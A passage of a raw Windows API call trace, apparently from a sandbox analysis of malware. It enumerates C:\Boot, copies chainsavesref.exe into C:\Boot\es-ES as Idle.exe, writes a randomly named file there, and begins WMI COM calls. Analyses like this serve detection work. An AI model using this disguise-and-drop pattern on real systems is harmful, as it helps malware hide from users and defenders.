lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x91923310, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x6400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0132.610] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0132.611] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9578e980, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9578e980, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9578e980, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0132.611] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x9571c560, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x9571c560, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0132.611] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9565de80, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d38220, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d38220, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0132.611] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1 [0132.611] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0132.611] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0132.611] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d5e380, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d5e380, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0132.611] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0132.611] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0132.611] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9571c560, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x95768820, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x95768820, ftLastWriteTime.dwHighDateTime=0x1d70554, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0132.612] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0132.612] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0132.612] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0132.612] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0132.612] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956aa140, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0132.612] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xce3b5a40, ftLastWriteTime.dwHighDateTime=0x1d03f5f, nFileSizeHigh=0x0, nFileSizeLow=0x795b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0132.612] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0132.612] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28daa640, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28daa640, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0132.612] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0132.612] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0132.612] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956d02a0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0132.612] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x1cdf33a0, ftLastAccessTime.dwHighDateTime=0x1d8a92a, ftLastWriteTime.dwLowDateTime=0x1cdf33a0, ftLastWriteTime.dwHighDateTime=0x1d8a92a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0132.612] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28dd07a0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28dd07a0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0132.613] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0132.613] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-CN", cAlternateFileName="")) returned 1 [0132.613] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-HK", cAlternateFileName="")) returned 1 [0132.613] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x956f6400, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28df6900, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28df6900, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0132.613] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0132.613] FindClose (in: hFindFile=0x1a9d8d20 | out: hFindFile=0x1a9d8d20) returned 1 [0132.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0132.613] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0132.613] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0132.613] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES", lpFilePart=0x0) returned 0xd [0132.614] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*" (normalized: "c:\\boot\\es-es\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a9d8d20 [0132.615] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0x28d844e0, ftLastWriteTime.dwHighDateTime=0x1d706aa, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0132.616] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0132.616] FindNextFileW (in: hFindFile=0x1a9d8d20, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95683fe0, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x28d844e0, ftLastAccessTime.dwHighDateTime=0x1d706aa, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0132.616] FindClose (in: hFindFile=0x1a9d8d20 | out: hFindFile=0x1a9d8d20) returned 1 [0132.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0132.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0132.619] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES\\Idle.exe", nBufferLength=0x105, lpBuffer=0x1bb7e7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES\\Idle.exe", lpFilePart=0x0) returned 0x16 [0132.619] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0132.619] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES\\Idle.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES\\Idle.exe", lpFilePart=0x0) returned 0x16 [0132.619] CopyFileW (lpExistingFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpNewFileName="C:\\Boot\\es-ES\\Idle.exe" (normalized: "c:\\boot\\es-es\\idle.exe"), bFailIfExists=0) returned 1 [0132.696] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES\\6ccacd8608530f", nBufferLength=0x105, lpBuffer=0x1bb7e420, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES\\6ccacd8608530f", lpFilePart=0x0) returned 0x1c [0132.696] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e938) returned 1 [0132.696] CreateFileW (lpFileName="C:\\Boot\\es-ES\\6ccacd8608530f" (normalized: "c:\\boot\\es-es\\6ccacd8608530f"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x34c [0132.697] GetFileType (hFile=0x34c) returned 0x1 [0132.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e8a8) returned 1 [0132.697] GetFileType (hFile=0x34c) returned 0x1 [0132.698] WriteFile (in: hFile=0x34c, lpBuffer=0x282c588*, nNumberOfBytesToWrite=0x2b3, lpNumberOfBytesWritten=0x1bb7e978, lpOverlapped=0x0 | out: lpBuffer=0x282c588*, lpNumberOfBytesWritten=0x1bb7e978*=0x2b3, lpOverlapped=0x0) returned 1 [0132.699] CloseHandle (hObject=0x34c) returned 1 [0132.701] CoGetObjectContext (in: riid=0x276df60*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0132.703] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0132.703] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x276df40*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0132.703] IUnknown:Release (This=0x1a943398) returned 0x1 [0132.705] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bbf1620) returned 0x0 [0132.705] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbf1620, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0132.705] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bbf1620, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bbc01e0) returned 0x0 [0132.705] WbemDefPath:IUnknown:Release (This=0x1bbf1620) returned 0x0 [0132.705] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc01e0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bbc01e0) returned 0x0 [0132.706] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc01e0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0132.706] WbemDefPath:IUnknown:AddRef (This=0x1bbc01e0) returned 0x3 [0132.706] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc01e0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0132.706] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc01e0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0132.706] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bbc01e0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bbf1660) returned 0x0 [0132.706] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bbf1660, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, 